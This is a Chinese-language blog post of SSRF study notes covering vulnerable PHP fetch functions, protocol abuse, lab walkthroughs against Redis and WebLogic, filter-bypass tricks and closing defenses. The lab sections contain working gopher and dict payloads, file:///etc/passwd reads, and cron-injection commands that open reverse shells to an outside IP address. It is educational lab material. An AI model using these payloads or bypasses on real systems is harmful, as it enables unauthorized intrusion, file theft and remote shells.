学过CSRF漏洞后,收获颇多。同时发现SSRF漏洞和CSRF漏洞有一点点类似之处。
CSRF跨站请求伪造,基于客户端的请求伪造;SSRF服务器端请求伪造,基于服务端的请求伪造。
因为SSRF还没学习,所以还是先走上SSRF漏洞的学习之路吧!
1.SSRF漏洞概述
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统
。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)
2.SSRF漏洞产生原因
SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理
攻击远程和本地的服务器。
3.容易出现SSRF的地方
share
、wap
、url
、link
、src
、source
、target
、u
、3g
、display
、sourceURl
、imageURL
、domain
4.利用SSRF可以实现的攻击
file
协议读取本地文件等)1.函数
file_get_contents()
、fsockopen()
、curl_exec()
、fopen()
、readfile()
等函数使用不当会造成SSRF漏洞
(1)file_get_contents()
<?php $url = $_GET['url'];; echo file_get_contents($url); ?>
file_get_content
函数从用户指定的url获取内容,然后指定一个文件名j进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。
(2)fsockopen()
<?php function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if (!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)) { $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } ?>
fsockopen
函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
(3)curl_exec()
<?php if (isset($_POST['url'])){ $link = $_POST['url']; $curlobj = curl_init();// 创建新的 cURL 资源 curl_setopt($curlobj, CURLOPT_POST, 0); curl_setopt($curlobj,CURLOPT_URL,$link); curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项 $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器 curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源 $filename = './curled/'.rand().'.txt'; file_put_contents($filename, $result); echo $result; } ?>
curl_exec
函数用于执行指定的cURL会话
注意
1.一般情况下PHP不会开启fopen的gopher wrapper 2.file_get_contents的gopher协议不能URL编码 3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败 4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用 5.curl_exec() //默认不跟踪跳转, 6.file_get_contents() // file_get_contents支持php://input协议
2.协议
(1)file
: 在有回显的情况下,利用 file 协议可以读取任意内容
(2)dict
:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher
:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s
:探测内网主机存活
以curl举例,查看 curl 支持的协议列表 curl -V
。本地利用方式:
(1)使用file协议 file protocol (任意文件读取)
curl -vvv 'file:///etc/passwd'
(2)使用dict协议 dict protocol (获取Redis配置信息)
curl -vvv 'dict://127.0.0.1:6379/info'
(3)使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
攻击机ip:192.168.201.129、121.36.67.230
攻击机:Kali、公网服务器
远程服务器ip:39.x.x.x
docker镜像:ssrf_redis
PHP版本:PHP Version 7.2.28(5.6版本测试会失败)
至于我为什么在远程服务器上部署服务,并在公网服务器上接收反弹shell?
是因为我认为这样可以更真实的模拟真实环境。有利于自己更深刻的理解SSRF漏洞。
ssrf.php
<?php $ch = curl_init(); //创建新的 cURL 资源 curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项 #curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HEADER, 0); #curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件 curl_close($ch); ////关闭 cURL 资源,并且释放系统资源 ?>
post.php
<html> <head> <title>post</title> </head> <body> <?php echo $_REQUEST[cmd]; ?> </body> </html>
1.利用file
协议
任意文件读取
curl -v 'http://39.x.x.x:8000/ssrf.php?url=file:///etc/passwd'
2.利用dict
协议
(1)查看端口及端口上运行服务的版本信息
curl -v 'http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/'
说明22端口开放
(2)通过dict协议getshell
有关dict协议:向服务器的端口请求 命令:参数,并在末尾自动补上\r\n
(CRLF)。
dict协议要一条一条的执行,而gopher协议执行一条命令就行了。
一条一条的执行就可以了。
3.利用gopher
协议
(1)攻击内网redis并反弹shell
利用redis未授权访问攻击redis
攻击redis的exp
echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/121.36.67.230/5555 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 redis-cli -h $1 -p $2 config set dir /var/spool/cron/ redis-cli -h $1 -p $2 config set dbfilename root redis-cli -h $1 -p $2 save redis-cli -h $1 -p $2 quit
bash shell.sh 39.x.x.x 6379
从而捕获到数据,并进行转换
转换规则如下:
如果第一个字符是>
或者<
那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r
字符串替换成%0d%0a
空白行替换为%0a
结合gopher协议攻击内网redis,使用上边捕获数据的转换结果即可,然后进行反弹shell:
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.4:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f5555%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
反弹成功
http://39.x.x.x:8000/ssrf.php
是存在SSRF漏洞的Web服务
192.168.1.4
是redis应用所在内网ip
121.36.67.230
是公网服务器,接收反弹shell
(2)伪造post请求反弹shell
curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'
反弹成功
192.168.1.5
是内网Web服务,有post.php
4 .利用http/s
协议
探测内网主机存活
说明内网ip为192.168.1.3
的主机存活
参考远程利用 3.利用gopher
协议
下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
编译并启动环境
docker-compose build docker-compose up -d
SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
1.查看端口
访问
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80 //测试http://127.0.0.1:7001:将80替换成7001
not connect,说明80端口未开放
返回404,说明端口开放
2.探测内网主机存活
说明内网ip为192.168.1.1
的主机存活
3.注入HTTP头,利用Redis反弹shell
通过ssrf探测内网中的redis服务器,发现172.22.0.2:6379可以连通
和上边的远程利用几乎一样。
将反弹shell脚本写入/etc/crontab定时任务
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
进行url编码
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
换行符是“\r\n”换成“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送
反弹成功
1.@
http://[email protected] 实际上是以用户名abc连接到站点127.0.0.1,同理 http://[email protected]:8080、http://127.0.0.1#8.8.8.8
在对@解析域名中,不同的处理函数存在处理差异,如:
http://[email protected]@www.ccc.com
在PHP的parse_url
中会识别www.ccc.com,而libcur
l则识别为www.bbb.com
2.利用[::]
可以利用[::]
来绕过localhost
http://[::]:80/ >>> http://127.0.0.1
3.添加端口号
4.利用短网址
站长工具短网址
百度短网址
5.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
6.利用DNS解析
在域名上设置A记录,指向127.0.1
7.利用进制转换
127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433
8.句号
9.302跳转
使用https://tinyurl.com生成302跳转地址
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://[email protected]
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
1、禁用不需要的协议(如:file:///
、gopher://
,dict://
等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP
在SSRF漏洞的学习过程中,遇到了一些问题,比如反弹shell到公网服务器,折腾了许久。不过最终克服了问题。同时,通过SSRF漏洞的学习,发现SSRF漏洞果然比CSRF漏洞的利用的局限性要小,并且SSRF漏洞的对内网的一些应用危害比较大。所以在开发过程中,要尽量避免产生SSRF漏洞。
参考博客:
SSRF 漏洞学习
SSRF——weblogic vulhub 漏洞复现及攻击内网redis(一)
ssrf攻击内网应用
SSRF绕过方法总结